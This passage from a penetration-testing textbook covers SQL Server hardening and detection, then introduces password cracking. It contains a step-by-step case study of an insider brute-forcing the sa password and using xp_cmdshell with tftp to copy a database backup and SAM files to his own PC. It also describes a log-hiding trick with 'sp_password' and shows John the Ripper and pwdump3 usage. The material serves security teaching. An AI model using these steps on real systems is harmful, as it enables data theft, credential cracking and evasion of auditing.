Only, any SQL Server logins that already exist can no longer authenticate against \nthe database server.\n" }, { "page_number": 290, "text": "Securing Your SQL Server 263\nService Accounts\nDuring a standard SQL server installation, many services are installed by default. The only \nservice that must be running for SQL Server to function is the MSSQLServer service. \nHowever, you can usually find the SQL Server scheduling agent, SQLServerAgent, enabled \nand running in a standard installation.\nIn addition to these two services, the following services are installed:\n•\nMSSQLServerADHelper\n•\nMSDTC (Distributed Transaction Coordinator)\n•\nMSSearch Services\nDisabling unused services to narrow the attack surface is a recommended best practice.\nIf a default install is selected, these services are installed to run under the Local System \naccount. \nThe Local System account has certain privileges on the local machine, including these:\n•\nAct As Part of the Operating System—This enables a process to impersonate any \nuser without the need for authentication, allowing the process to gain access to the \nsame local resources as that user would have.\n•\nGenerate Security Audits—This setting determines the accounts that a process can \nuse to add entries to the security log. A hacker could take advantage of this privilege \nto add multiple events to the security log, either to cover his tracks or perhaps to \ninitiate a DoS attack. \nYou should configure these services to run under a Domain User account that does not need \nto be a member of Local or Domain Administrators to function correctly in most cases. \nEnsure that the account that the services run under has minimum privileges required to \nfunction.\nPublic Role\nEvery SQL Server installation, like the Windows environment, has predefined roles. These \ndifferent roles can affect privilege levels across the whole server or at an individual database \nlevel. One of the most important roles is the Public role, which is granted permissions at the \ndatabase level. Every database created has the Public role added, and every user added to \nthe database becomes a member of the Public role. You cannot change this. You cannot drop \nthe Public role or remove users from it. Therefore, it is imperative that you carefully \nadminister the permissions granted to this role. \n" }, { "page_number": 291, "text": "264\nChapter 8: Performing Database Attacks\nGuest Account\nSQL Server has an account named guest. If a guest account exists at a database level, any \nlogin, even if it does not have explicit access to a database, can access that database. \nBecause the guest account is a member of the Public role, any user who accesses a database \nvia this account already has the permissions that the Public role possesses without being \ngranted access to the database. To mitigate the risk, ensure that your model database (the \ntemplate from which all other user databases are created) does not contain the guest \naccount. In addition, regularly audit database users to check that a guest account has not \nbeen created. \nSample Databases\nTwo sample databases, Northwind and pubs, are created during installation. Although these \nare useful tools for teaching and experimentation, for these reasons the Public role has \ngenerous access to them and their structure is also widely known by hackers. Always drop \nthem from the database server prior to making it a production system.\nNetwork Libraries\nSQL Server supports several network-level protocols to communicate with its clients. \nThese protocols include TCP/IP, IPX/SPX, Named Pipes, and AppleTalk. \nTo achieve this communication, SQL Server uses dlls (software components) called \nnetwork libraries (or Net-Libraries) to communicate via one or more protocols. For this \ncommunication to take place, these network libraries must be in place on both server and \nclient. The client initiates the connection and can only communicate with the SQL Server \nif both are configured to support the same network library.\nNOTE\nDo not confuse network protocols with network libraries. Although they often use the same \nname, some network libraries support more than one network protocol.\nA default SQL Server installation comes configured with the following network libraries \nenabled:\n•\nTCP/IP\n•\nNamed Pipes\nFigure 8-8 shows the Server Network Utility with its default settings.\n" }, { "page_number": 292, "text": "Securing Your SQL Server 265\nFigure 8-8\nServer Network Utility\nAlthough you cannot actually attack a SQL Server network library, this library does dictate \nthe protocols that a client can use to communicate. Enabling more network libraries than \nyou require increases the risk of database breaching in the same way that numerous doors \nand windows in your property increases the opportunities for a thief to enter. The following \nlink provides more information on the protocols supported and a deeper insight into their \nfunction:\nhttp://www.databasejournal.com/features/mssql/article.php/3334851.\nPorts\nSQL Server listens on TCP port 1433 by default and on UDP port 1434. As mentioned \nearlier, various port scanning tools utilize UDP port 1434 to enumerate SQL servers on a \nnetwork. However, although this port is documented as the SQL Server Resolution Service \nport, in most cases, you can block it without impacting functionality.\nNOTE\nThe SQL Slammer worm that caused widespread chaos in January 2003 exploited a buffer \noverrun via port 1434. \n" }, { "page_number": 293, "text": "266\nChapter 8: Performing Database Attacks\nIn addition, a function in the Server Network Utility (one of the tools that ships with SQL \nServer) offers a feature called Hide Server, as Figure 8-9 illustrates. This sounds pretty \nuseful, and you might think that this would prevent something like a scanning tool from \ndiscovering your servers. Unfortunately, this option only changes your SQL Server TCP \nport from 1433 to 2433. Obviously, this change does not prevent UDP port scanning from \ntaking place successfully.\nFigure 8-9\nServer Network Utility Showing Hide Server Option for TCP/IP \nDetecting Database Attacks\nDatabase attacks, as already discussed, often occur as a result of poor coding. \nCompromising the contents of a database or even the server on which it resides can, on the \nsurface, be passed off as perfectly legitimate SQL traffic. It is only when the environment \nis secured against the casual attacker that a more determined attempt can be detected. \nAuditing\nAuditing is often the first step for a DBA in identifying unauthorized access, or attempted \naccess, to a database server. \nAccess auditing is simple to enable. You can configure and interrogate it either at the server \nor database level. SQL Server maintains its own error logging system in addition to the \n" }, { "page_number": 294, "text": "Detecting Database Attacks 267\nWindows Event Log. When access auditing is configured in SQL Server, audit events are \nwritten to both logs. SQL Server has four audit levels, shown previously in Figure 8-7:\n•\nNone—Login attempts are not recorded.\n•\nSuccess—Only successful logins are written to the log.\n•\nFailure—Only failed logins are written to the log.\n•\nAll—Every attempt to log in to the database is recorded.\nAs a further level of protection, an intrusion detection system (IDS) provides functionality \nto protect against unauthorized access. Figure 8-10 shows the default Cisco IDS signature \nthat detects all attempts to log in as the sa account. \nFigure 8-10 Cisco IDS Signature 3702\n" }, { "page_number": 295, "text": "268\nChapter 8: Performing Database Attacks\nFrom this, you can see the results produced by the IDS when the sa account attempts to log \nin (successfully or otherwise) in Figure 8-11.\nFigure 8-11 Cisco IDS Event Viewer Detecting 3702 Events\nFailed Logins\nAs with any application, SQL Server passwords can be brute forced. As previously \ndiscussed, several tools exist for just such a purpose. You can spot a clumsy attempt to brute \nforce access to the SQL Server if you enable monitoring of failed logins. Figure 8-12 shows \nan extract from the SQL Server log with full auditing configured.\nFigure 8-12 SQL Server Error Log Extract \n" }, { "page_number": 296, "text": "Detecting Database Attacks 269\nSystem Stored Procedures\nAmong the many system stored procedures that SQL Server boasts, sp_password is used to \nadd or change a password for a SQL Server login. The useful thing about this stored \nprocedure is that every time it is called, the name sp_password is recognized, and the entire \nstatement is hidden from view. The syntax of sp_password is this: \nsp_password 'old password', 'new password', 'login name';\nFigure 8-13 shows the results in SQL Profiler of executing this statement:\nsp_password '123', '123', 'SQLlogin'\nFigure 8-13 SQL Profiler Showing sp_password Being Executed\nThis feature prevents usernames and passwords from being presented in log files in clear \ntext, and as such, it increases security on one level. However, had you executed the \nfollowing SQL statement instead:\nselect 'sp_password', * from orders\nthe result in SQL Profiler would have been the same as in Figure 8-13. Just embedding the \nstring ‘sp_password’ anywhere within the SQL statement is enough for the whole \nstatement to be obscured and the message (as shown in Figure 8-13) to be displayed instead. \nArmed with this knowledge, a hacker can easily disguise his activities. However, it would \nbe unusual for numerous password changes to occur at the same time. Also, although the \nactual SQL statements cannot be interrogated, the presence of more than two or three \npassword changes in quick succession should alert a DBA to a potential attack.\n" }, { "page_number": 297, "text": "270\nChapter 8: Performing Database Attacks\nSQL Injection\nThe nature of SQL injection makes it almost impossible to detect attacks either in real-time \nor via any type of auditing process. Only when damage has been done (data altered, \nperhaps) or Trojans have been entered into code does it become apparent that the system \nhas been compromised. Even IDS can rarely detect SQL injection attacks, largely because \nno signature can be traced.\nThe only safeguard against SQL injection attacks is to implement a full code review and \nmaintain tight controls on coding standards of production systems. Ensure that input \nvalidation is maintained throughout your applications and that input data is “scrubbed” to \nremove any potentially dangerous characters such as the single quote (') or the semicolon (;).\nProtecting Against Database Attacks \nAlthough it might seem like your database server is fair game for any would-be hacker, you \ncan take many steps to limit the attack surface of your server. You might find that some of \nthese steps are simply common sense, whereas others have a more subtle benefit. However, \nyou will discover that some of the more drastic measures, although effective, are an \nadministrative nightmare and would be implemented only in a high-risk environment. \nSome of these preventative measures are as follows:\n•\nService packs and patches—Keep abreast of all service packs and fixes available for \nyour operating system and database applications. Software vendors publicize \nvulnerabilities and fixes as soon as they become known. \n•\nPhysical security—Your database servers should always be maintained in a \nphysically secure environment. Potential attackers can exist on the outside and inside \nof your organization.\n•\nFirewall rules—Block UDP port 1434 at your firewall. As mentioned previously, this \nport was the point of compromise for the Slammer worm, and SQL Server does not \nrequire this port to make it function. \n•\nDisable unused features—If your system does not require SQL Mail or some other \nfeature, disable it. Even SQL Agent does not necessarily need to run if you have no \nscheduling or alert requirements. In disabling these features, you narrow the attack \nsurface of your server.\n•\nAnalysis tools—You can use various tools that are designed to scan your systems for \npotential vulnerabilities. The Microsoft security auditing tool, Microsoft Baseline \nSecurity Analyzer (MBSA), reports on server-wide security.\n•\nAudit shared folders for permission levels—Ensure that you have not configured \nconvenient shares on your NTFS folders to facilitate moving files around. Also bear \nin mind that if you install your SQL Server under a Windows domain account, that \n" }, { "page_number": 298, "text": "Protecting Against Database Attacks 271\naccount is automatically granted access to all the folders that SQL Server needs to \ntouch. If you subsequently change the user under which SQL Server runs, those \npermissions are not revoked, and an unnecessary level of access remains.\n•\nService account and sa account—Typically the two most frequently attacked \naccounts, these should always have complex passwords. Use complex passwords for \nevery account if Mixed Mode is configured. The SQL Server method of storing \npasswords is not especially secure. In addition, you cannot enforce password rules.\n•\nGuest account—Remove this from all databases except master and tempdb, which \nrequire this account to be able to function correctly. The guest account, if present, \nprovides a well-known but unnecessary level of privilege.\n•\nInput validation—Always configure this in your applications to prevent \nopportunities for SQL injection. Never permit ad-hoc querying of databases via \nInternet applications. Instead, use stored procedures to access database resources.\n•\nDatabase and IIS servers—These should be on separate physical hardware systems, \npreferably with the database server behind a firewall to screen it from external users. \nDoing so provides a further layer of security and prevents your SQL Server from \nbeing advertised over the Internet.\n•\nWindows domains—Use these where possible to take advantage of integrated \nsecurity, which offers many advantages over SQL Server security.\n•\nTrusted connections—For example, when you are using the command-line query \ntool osql, use the –E where possible in place of the too-often-seen, hard-coded \npasswords in batch files and so forth.\n•\nSQL Server service account—In a Windows domain, this should be a domain user. \nThis does not need to be the Local System account or a member of domain \nadministrators. Also, in most cases, it does not need to be a local administrator, either. \nOperating on a policy of least privilege ensures that even if the server is compromised \nand the attacker can issue commands in the context of the service account, he remains \nlimited by the privileges of that account.\n•\nSample databases—The Northwind and pubs databases in SQL Server have standard \nusers and a schema that is well publicized. For this reason, you should always remove \nthem from a production system.\n•\nModel database—Because it provides a template for all databases you create, it \nshould also model the security template you require in your enterprise. This ensures \nthat every database on your system has a minimum level of security regardless of who \ncreates it.\n•\nPublic role—Audit permissions on a regular basis. Because every database user is \nautomatically given membership of the public role, it is critical that you retain strict \ncontrol.\n" }, { "page_number": 299, "text": "272\nChapter 8: Performing Database Attacks\n•\nExtended stored procedures—Severely limit permissions to all potentially \nvulnerable system-stored procedures, and audit permissions on a regular basis. This \nmitigates the risk of permissions being accidentally or deliberately granted by an \nunwitting developer or someone who has more malicious intent.\n•\nNetwork libraries—Enabling only the network libraries that your system requires \nnarrows the potential attack surface of your SQL server.\n•\nSSL (Secure Sockets Layer)—Use if possible to encrypt traffic between clients and \ndatabase servers. \nCase Study\nJimmy has been working for SupaLaptops Direct Inc. for eight months since he graduated. \nHe was hired to do temporary support work, but he figured that with his skills, his boss \nwould surely realize that he was indispensable and keep him on permanently. However, \nyesterday he found out that he would not be needed past the end of the week. He cannot \nbelieve the company would overlook his abilities. After all, he probably has more talent \nthan the rest of the department combined. Well, if these people did not know it now, they \nsoon would, because Jimmy is about to show them what they are throwing away.\nAs a junior member of the team, Jimmy does not have much administrative access, but he \nknows the database that supports the online ordering system has some valuable data on it. \nHe decides to make this data his.\nStep 1\nUsing the osql tool with the –L (list servers) switch, Jimmy discovers that \nseveral other SQL servers are on the network in addition to the one he is \ninterested in. Figure 8-14 shows the results of running this command.\nFigure 8-14 Results from osql –L Command\n" }, { "page_number": 300, "text": "Case Study\n273\nNow that Jimmy knows the server is available and the SQL Server \nservice is running, his next task is to gain access to it. He decides to use \nSQLPing to confirm the details of his target, as shown in Figure 8-15.\nFigure 8-15 SQL Ping Utility\nStep 2\nJimmy figures he should check whether an sa password exists because so \nmany servers out there have a blank password. Once again, he uses the \nosql tool to attempt to log in to the SQL server. Figure 8-16 shows that \non this occasion, at least the most obvious errors have not been made. \nFigure 8-16 Attempt to Log In with Blank sa Password\n" }, { "page_number": 301, "text": "274\nChapter 8: Performing Database Attacks\nStep 3\nJimmy pulls out the next tool in his toolkit, SQLDict, and loads an \nEnglish word list that he obtained from ftp://ftp.ox.ac.uk/pub/wordlists. \nIt takes a little time, but he is in no hurry. Eventually he strikes gold, as \nFigure 8-17 shows. Now he has the holy grail—the sa password—and he \ncan log in to the server as sysadmin with full access to all objects and \ndata.\nFigure 8-17 Successfully Obtaining the sa Password with SQLDict\nJimmy can now log in to the server, browse, and damage at will. \nHowever, he figures it would be more useful to get his hands on the actual \ndata files. \nStep 4\nTo find out which databases are available to him, Jimmy interrogates the \nsystem table sysdatabases using osql. Figure 8-18 shows a successful \nlogin to the server using the newly found sa password and a subsequent \nquery to discover the names of the databases on the SQL server. Not only \ndoes Jimmy locate some interesting-sounding databases like Customers, \nbut he also notices that the sample databases Northwind and pubs are still \nin evidence.\n" }, { "page_number": 302, "text": "Case Study\n275\nFigure 8-18 Query on sysdatabases Table\nNow Jimmy knows which databases he needs to target. The easiest way \nto obtain data files is to find the database backup files. Although backups \nusually go to tape, it is common to back up SQL Server databases to disk \ninitially and then to back up the disk to tape. Backups to disk are \nconsiderably quicker, and the cost of disk space is relatively small. \nStep 5\nUsing a stored procedure sp_helpdevice, Jimmy quickly discovers the \nlocation of the backups on disk. Only the formality of copying the files \nremains, and this he accomplishes by using the xp_cmdshell stored \nprocedure and TFTP in this way:\nxp_cmdshell 'tftp JimmyPC PUT “C:\\Program Files\\Microsoft SQL \nServer\\MSSQL\\Backup\\Orders.BAK”'\nMission accomplished! Jimmy has a copy of the Orders database, which \nhe can restore at his leisure to another SQL server. More than this, he has \nsucceeded in transferring this backup file without anything appearing in \nan event log, and without the need for authentication.\n" }, { "page_number": 303, "text": "276\nChapter 8: Performing Database Attacks\nStep 6\nKnowing that the usefulness of xp_cmdshell stretches far beyond \ndatabases, Jimmy thinks it also would be nice to have a copy of the SAM \ndatabase from this computer. He runs the xp_cmdshell again: \nxp_cmdshell 'dir c:\\WINNT\\system32\\repair'\nNOTE\nThe SAM file is an operating system file containing details of all local users and their \npasswords. An unlocked backup copy can be found in the repair directory.\nJimmy gets a file listing confirming that the two files he is interested in \nare in their expected location. (See Figure 8-19.)\nFigure 8-19 Directory Listing Using xp_cmdshell \nStep 7\nJimmy plans to use a password brute forcing tool to gain the \nAdministrator password. He knows that he will probably need both the \nSAM and SECURITY files to do this. Using the tftp command again, he \ncopies these files to his local machine.\n" }, { "page_number": 304, "text": "References and Further Reading 277\nNOTE\nPassword cracking is covered fully in Chapter 9, “Cracking Passwords.” There, you will see \nanother tool called pwdump that you can use to extract usernames and passwords from an \nactive SAM file. \nJimmy now has a copy of one of the most critical databases in the company, and ultimately \nthe means to access the database server as an administrator at any time. \nThe company probably thought that giving a junior and temporary member of staff limited \nprivileges to its systems would be safe. However, the company error was in assuming that \nSQL Server security was adequate to protect its data. Although the company did not leave \nthe sa account with a blank password, the one it had used was a short and simple one, easily \nbrute forced with a dictionary attack. \nIt is useless to have a high-security lock if the key is under the doormat. Even if it is \nimpossible to make a system impenetrable, if the job would have been slower and trickier, \nJimmy would have been more likely to give up, and only the most determined hacker would \nhave succeeded.\nSummary\nThis chapter gave an overview of database vulnerabilities and the methods of detecting and \nsecuring against potential attackers. Although clumsy attempts to brute force a password \nare detectable by careful auditing, more subtle attacks such as SQL injection can be \nvirtually impossible to pick up. \nIn a database environment, prevention is undoubtedly easier than detection, and this chapter \ncovered some methods of securing a database server, with particular focus on SQL Server. \nOne of the biggest pitfalls is the installation of a database server with a default \nconfiguration. It is critical that user and service accounts are configured securely, with only \nthe minimum access necessary to function. Keeping up to date with patches and service \npacks is also essential to protect against new exploits.\nReferences and Further Reading\nhttp://www.appsecinc.com/techdocs/whitepapers/research.html\nhttp://www.microsoft.com/technet/prodtechnol/sql/2000/maintain/sp3sec00.mspx\nhttp://www.ngssoftware.com\nhttp://www.petefinnigan.com/orasec.htm\nhttp://www.sans.org/rr/whitepapers/application/\nhttp://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf\n" }, { "page_number": 305, "text": "Login: yes\nPassword: i dont have one\npassword is incorrect\nLogin: yes\nPassword: incorrect\n" }, { "page_number": 306, "text": "C H A P T E R 9\nPassword Cracking\nBefore the advent of computers, companies relied on locked doors and filing cabinets to \nsecure their data. Physical security provided enough peace of mind for businesses to protect \ntheir corporate assets. Now, with network access to company data providing accessibility \nfrom virtually anywhere, physical security is no longer sufficient. \nThus, companies have turned to access control to protect their data. Strong access control \nshould entail at least two of the following:\n•\nSomething an identity knows—A pin number or password\n•\nSomething an identity has—A SecureID card\n•\nSomething an identity is—Biometrics\n•\nSomething an identity does—Monitoring pen pressure changes when you sign your \nname\nTwo-factor security is when at least two of these are being used, such as when access is \ngranted through a fingerprint and a password. Four-factor involves all four. Unfortunately, \nmost applications still use the weakest form of security—one factor authentication by \npasswords only. People often think that two-factor authentication is being used because \nboth a username and password are required, but this is still only one-factor authentication \nbecause they are both based on things you know.\nPasswords provide the weakest form of security because someone can guess them through \npassword cracking. As a penetration tester, you should be acquainted with the means of \npassword cracking. Penetration testers are often employed to perform password cracking \nfor one of two reasons:\n•\nPolicy audits\n•\nRecovery\nWhen you are cracking passwords for policy audits, you are trying to determine if the \ncompany is enforcing its password policy. Suppose, for example, that a company has a \npolicy that all passwords must be eight digits long and a combination of letters and \nnumbers. The password a3vg8ll0 is a strong password in this example. \nAs a penetration tester, you might be asked to come in and attempt to crack the company \npasswords. After doing so, you might discover that only 80 percent of the passwords follow \n" }, { "page_number": 307, "text": "280\nChapter 9: Password Cracking\nthis policy. This would inform the corporation that it is not adequately enforcing its \npassword policy.\nThe second time you might be asked to perform password cracking is when you are hired \nto recover a lost password. If a systems administrator leaves the company without anyone \nknowing the password to the administrator account, you might be hired to come in and \nattempt to crack that administrator password. \nMany tools can assist you with password cracking. This chapter introduces you to how \npasswords are stored on servers, followed by brief descriptions of some of the more popular \ntools used in password cracking. As always, this chapter concludes with tips on how to \nprotect against malicious password cracking.\nTIP\nMost of the chapter covers password cracking to recover an existing password. However, \nyou can actually use tools to overwrite or erase a password if you have direct physical \naccess to a machine. If this is what you need, look at http://home.eunet.no/~pnordahl/\nntpasswd/bootdisk.html. \nPassword Hashing\nPasswords secure a system by allowing access only to those users who know the password. \nTypically, you can gain access to a system by following these two steps:\n1 Authentication—In the authentication phase, you check a username or password \nagainst a database of valid usernames and passwords. If a match comes up, you move \nto the second phase.\n2 Authorization—In the authorization phase, you check the username (or password if \nonly passwords are used) against a database to define how much access that user is \ngranted. First a system authenticates you, and then a system authorizes you based on \nyour security access level.\nThus, authentication is who you are, and authorization is what you can do.\nPasswords are sent to a system in one of two ways:\n•\nClear-text\n•\nEncrypted\nClear-text (also called plain-text) passwords provide the weakest means of security. In \nFigure 9-1, the password is sent across the network without encryption. This means that \nanyone with a network monitor can detect the password. In Figure 9-1, the clear-text \npassword has been captured in Ethereal (http://www.ethereal.com).\n" }, { "page_number": 308, "text": "Password Hashing 281\nFigure 9-1\nEthereal Capturing Username and Password in Clear-Text\nNOTE\nNetwork monitors are commonly called packet sniffers. Sniffer is a trademark of Network \nGeneral, but the popularity of the sniffer product has caused the term to become common \njargon when referring to network monitors.\nEncrypted passwords provide more security. The most popular means of encrypting \npasswords is through the use of hashing algorithms, such as MD4 and MD5. In Figure 9-2, \nthe password is never sent across a network; rather, an algorithm is run against a password \nto produce a cipher text, and a portion of the cipher text is sent across the network. Often, \na secret variable, called a key, is used in the algorithm to make it harder to reverse engineer.\nEncrypted passwords are more difficult to crack because you have to reverse the algorithm \nor, more commonly, try to guess the password. This is why password cracking is better \ntermed password guessing. Ultimately, most of your work in password cracking is \nattempting to guess the characters in a password. \n" }, { "page_number": 309, "text": "282\nChapter 9: Password Cracking\nFigure 9-2\nMessage Digest Operation\nUsing Salts\nBefore looking at different tools to perform password cracking, you need to understand \nhow passwords are encrypted. Because Microsoft and UNIX are the two most popular \nservers in the market, the discussion is limited to these two platforms. \nThe major difference between the two platforms is the use of salts. A salt is a random string \nvalue that is combined with a password before it is encrypted. Because the string is \nrandomized each time a password is created, you can have two users with the same \npasswords but different random values. Take, for example, the output of the following /etc/\nshadow file on a Linux system:\nwhitaker:qdUYgW6vvNB.U\nnewman:zs9RZQrI/0aH2\nBoth of these accounts (whitaker and newman) were created with the same password \n(“password”). However, because a salt was added to the password and then encrypted, the \npasswords are different in the password file. Thus, when a password cracker breaks one \npassword, she cannot just look for other passwords with the same hash. Instead, she needs \nto crack each password separately. The increased time it takes to crack a password might \ndeter some malicious hackers or give a security professional enough time to detect who is \nperforming the cracking.\nUNIX and its variants use salts when encrypting their passwords. Microsoft servers do not. \nThis is why it has always been relatively easy to crack Microsoft passwords.\nMicrosoft Password Hashing\nMicrosoft performs two types of password hashing:\n•\nWindows hashing\n•\nLANMAN hashing\nWindows hashing takes your password and converts it to Unicode. Unicode is a means to \nprovide a unique number for every character regardless of the platform or language. This \nClear-Text Password: letmein\nCiphertext Password: %3v6LN$8a00z#D\nMessage Digest Algorithm\nSecret Key\n" }, { "page_number": 310, "text": "Password Hashing 283\nprovides universality to software engineering, where developers can write a program or \nweb page in one language using Unicode and have it easily viewed by readers in other \nlanguages. For example, the code 0041 is the capital letter A. \nAfter the password is converted to Unicode, an MD4 algorithm is run against the Unicode \nstring to compute a hash value. The MD4 algorithm takes the string and extends it by \nadding a single 1 bit followed by a number of 0 bits so that its length in bits is 64 bits short \nof being a multiple of 512 (448 modulo 512). Next, the first 64 bits of the original Unicode \npassword are added again to equal a number divisible by 512. Four variables are then used \nin an algorithm against the new value, resulting in a hash value. \nNOTE\nTo learn more about MD4 operation, read RFC 1320 at http://www.ietf.org/.\nMD4 is considered a weak hashing algorithm compared to MD5. However, it is not as weak \nas the LANMAN hash that Microsoft uses to encrypt passwords.\nLANMAN hashes have been around since NT 3.5 and are provided for backward \ncompatibility. In Figure 9-3, the password is padded with zeros to equal 14 digits (if the \npassword is not already 14 digits). \nThe password is then converted to uppercase and split into two seven-character pieces. If \nthe password is less than seven characters, the second set is always all zeros. After you run \nthe algorithm, all zeros equal 0xAAD3B435B51404EE. Any time you see that as part of a \nLANMAN password, you know that the password is equal to or less than seven characters. \nNext, an 8-byte odd parity Data Encryption Standard (DES) key is calculated from each of \nthe two halves. The resulting values are combined to get a 16-byte one-way hash. \nFigure 9-3\nLANMAN Hash\nLANMAN passwords are easier to break because you have to crack only seven characters \nat a time. If your password is password123, someone has to crack passwor and d123, \n“secret”\nsecret0\n0x53B3AFF31001277D\n0000000\n“secret00000000”\n0xAAD3B435B51404EE\n" }, { "page_number": 311, "text": "284\nChapter 9: Password Cracking\nwhich is much easier than attempting to crack a longer string of password123. The fewer \nthe characters in a password, the faster it is to crack it.\nWindows passwords are stored in the Security Accounts Manager database, which you can \nfind at Windows directory\\system32\\config\\sam. This file is locked when Windows is \nrunning, but a backup is kept in Windows directory\\repair and updated every time the \nemergency repair disk (ERD) utility is run for updating. Windows password-cracking \nutilities require access to the Security Accounts Manager (SAM) database. \nUNIX Password Hashing\nUNIX passwords are more secure than their Windows counterparts. With UNIX systems, \nsalts are used to generate random values when encrypting the password. Passwords are \nencrypted using DES. \nJust running the algorithm once does not provide much security, so UNIX systems run the \nDES algorithm 25 times. The password is encrypted first with a 64-bit variable of all zeros. \nThe output, combined with a random salt value, is used as input when running the algorithm \nthe subsequent 24 times. Figure 9-4 demonstrates how DES encrypts a password.\nFigure 9-4\nDES Encrypted Password\nOn UNIX systems (and UNIX variants), the encrypted passwords are typically stored in the \n/etc/shadow file. (The older method of /etc/passwd is antiquated, and most systems use the \nnewer shadow file method instead.)\nPassword-Cracking Tools\nNow that you have learned how password encryption works, it is time to examine the types \nof tools available to perform password cracking. Password crackers work by using one of \nthree methods:\n•\nDictionary attacks\n•\nBrute force attacks\n•\nHybrid attacks\nPassword\n32#187^B\nDES Algorithm\n25 Times\nRandom Salt Value\n" }, { "page_number": 312, "text": "Password-Cracking Tools 285\nIn a dictionary attack, a dictionary file is used, which contains all the possible passwords to \ntry. You can download dictionary files off the Internet or create your own. Dictionary attacks \nare quick, and they are useful if you want to audit an organization to make sure it is not \nusing common words as passwords.\nBrute force attacks are another extreme. Here, every possible combination to crack the \npassword is attempted. This type of attack takes the longest, but it eventually results in \npassword determination.\nHybrid attacks are a combination of dictionary attacks and brute force attacks. With a \nhybrid attack, common dictionary words are combined with common numbers in an \nattempt to crack the password. Thus, passwords such as password123 and 123password\nare checked against.\nIf you are hired to perform password cracking to audit password policy enforcement, you \nmight use any one of the three techniques. If you want to check only to make sure that \ncommon words are not being used as passwords, dictionary attacks are sufficient. \nIf, on the other hand, you are being hired to perform password recovery, you might start \nwith a dictionary attack and then move on to a brute force attack. \nAnother alternative is to use rainbow tables. The concept of rainbow tables uses a time-\nmemory trade-off technique, where hashes that you have already cracked are stored and \nchecked against when you crack passwords. Using this method, you compare hash values \nwith other hashes that have already been cracked. Rainbow tables store common hash \ncombinations, which can save time when you are cracking passwords.\nJohn the Ripper\nJohn the Ripper (http://www.openwall.com/john) is a popular password cracker available \non both Windows and UNIX platforms. The example in this section runs John the Ripper \nfrom a Linux command line and cracks the Linux /etc/shadow password file.\nTo begin with, execute the program to see what options you have available, as demonstrated \nin Example 9-1.\nExample 9-1\nExecuting John the Ripper from Linux \nlinux:/usr/bin/john-1.6/run # ./john\nJohn the Ripper Version 1.6 Copyright 1996-98 by Solar Designer\nUsage: ./john [OPTIONS] [PASSWORD-FILES]\n-single “single crack” mode\n-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin\n-rules enable rules for wordlist mode\n-incremental[:MODE] incremental mode [using section MODE]\n-external:MODE external mode or word filter\ncontinues\n" }, { "page_number": 313, "text": "286\nChapter 9: Password Cracking\nAlthough several options are available, the easiest is to copy your password files to a new \nfile. Linux password files are encrypted in the /etc/shadow file. You need to “unshadow” \nthese files so that John the Ripper can read them. You can accomplish this with the \nunshadow program included with John the Ripper. The following command unshadows the \npassword files /etc/passwd and /etc/shadow and copies the results into passwd.1. \nunshadow /etc/passwd /etc/shadow > passwd.1\nNext, run John the Ripper. By default, John uses the passwd.lst file as a dictionary file for \nits attack, as demonstrated in Example 9-2. You can edit this file or create your own \npassword file. \nExample 9-2 shows that passwords for four of the users on this host have been cracked. As \na penetration tester, you should create a table of all passwords that you were able to crack, \nas done in Table 9-1.\n-stdout[:LENGTH] no cracking, just write words to stdout\n-restore[:FILE] restore an interrupted session [from FILE]\n-session:FILE set session file name to FILE\n-status[:FILE] print status of a session [from FILE]\n-makechars:FILE make a charset, FILE will be overwritten\n-show show cracked passwords\n-test perform a benchmark\n-users:[-]LOGIN|UID[,..] load this (these) user(s) only\n-groups:[-]GID[,..] load users of this (these) group(s) only\n-shells:[-]SHELL[,..] load users with this (these) shell(s) only\n-salts:[-]COUNT load salts with at least COUNT passwords only\n-format:NAME force ciphertext format NAME (DES/BSDI/MD5/BF/AFS/LM)\n-savemem:LEVEL enable memory saving, at LEVEL 1..3\nExample 9-2\nRunning John the Ripper\nlinux:/usr/bin/john-1.6/run # ./john passwd.1\nLoaded 6 passwords with 6 different salts (Standard DES [24/32 4K])\nnewuser (user2)\nfoobar (user4)\n123456 (user3)\nMickey (user1)\nguesses: 4 time: 0:00:00:02 (3) c/s: 135389 trying: sampida – chillier\nTable 9-1\nCracked Passwords\nUser\nPassword\nUser1\nMickey\nUser2\nNewuser\nUser3\n123456\nUser4\nFoobar\nExample 9-1\nExecuting John the Ripper from Linux (Continued)\n" }, { "page_number": 314, "text": "Password-Cracking Tools 287\nYou can view the cracked passwords by adding the show option in the command line, as \ndone in Example 9-3.\nIf at any point you want to view the original encrypted password and the cracked password, \nyou can look at the john.pot file, as demonstrated in Example 9-4.\nPassword Lists\nMost dictionary files that come with programs are limited. You should try to get a more \ncomplete dictionary file or create your own. You can find a good source of dictionary files \nat http://packetstormsecurity.org/Crackers/wordlists/.\nPwdump3\nYou can also run John the Ripper on a Windows machine and crack Windows passwords. \nHowever, to do this, you must first run a tool that extracts the Windows passwords for you \nbecause they are locked in the SAM file. Pwdump3 (ftp://samba.anu.edu.au/pub/samba/\npwdump3/) is a free Windows utility that extracts the passwords on a Windows computer \nand stores them in a file of your choosing. You need an account on the computer with access \nto the /computer/admin$ share. The syntax for the command is as follows:\nPWDUMP3 machineName [outputFile] [userName]\nExample 9-5 accesses a computer named A152B with the andrew account and outputs the \npasswords to a file called passwd.1.\nExample 9-3\nDisplaying the Cracked Passwords with John the Ripper\nlinux:/usr/bin/john-1.6/run # ./john -show passwd.1\nuser1:Mickey:502:100::/home/user1:/bin/bash\nuser2:newuser:503:100::/home/user2:/bin/bash\nuser3:123456:504:100::/home/user3:/bin/bash\nuser4:foobar:505:100::/home/user4:/bin/bash\n4 passwords cracked, 2 left\nExample 9-4\nDisplaying the Original Encrypted Password and the Cracked Password with John the Ripper\nlinux:/usr/bin/john-1.6/run # cat ./john.pot\nVYvDtYmDSCOPc:newuser\nG54NKwmDHXwRM:foobar\nt5zO9hJzkv7ZA:123456\nAe.SZDrP7fCPk:Mickey\nlinux:/usr/bin/john-1.6/run #\n" }, { "page_number": 315, "text": "288\nChapter 9: Password Cracking\nAs demonstrated in Example 9-6, now you can run John the Ripper against the new \npasswd.1 file that you just created. \nNotice the way the password for user1 is broken down into two parts. This is the LANMAN \npassword hashing, which only allows up to seven characters at a time. Because LANMAN \npassword hashing converts all passwords to uppercase, John the Ripper presents all \npasswords in uppercase format.\nUsing the show switch, you can see the cracked password for user1, as demonstrated in \nExample 9-7. \nThe password of user1 is computer. \nExample 9-5\nCracking Windows Passwords\nC:\\tools\\pwdump3>pwdump3 A152B passwd.1 andrew\npwdump3 by Phil Staubs, e-business technology\nCopyright 2001 e-business technology, Inc.\nThis program is free software based on pwpump2 by 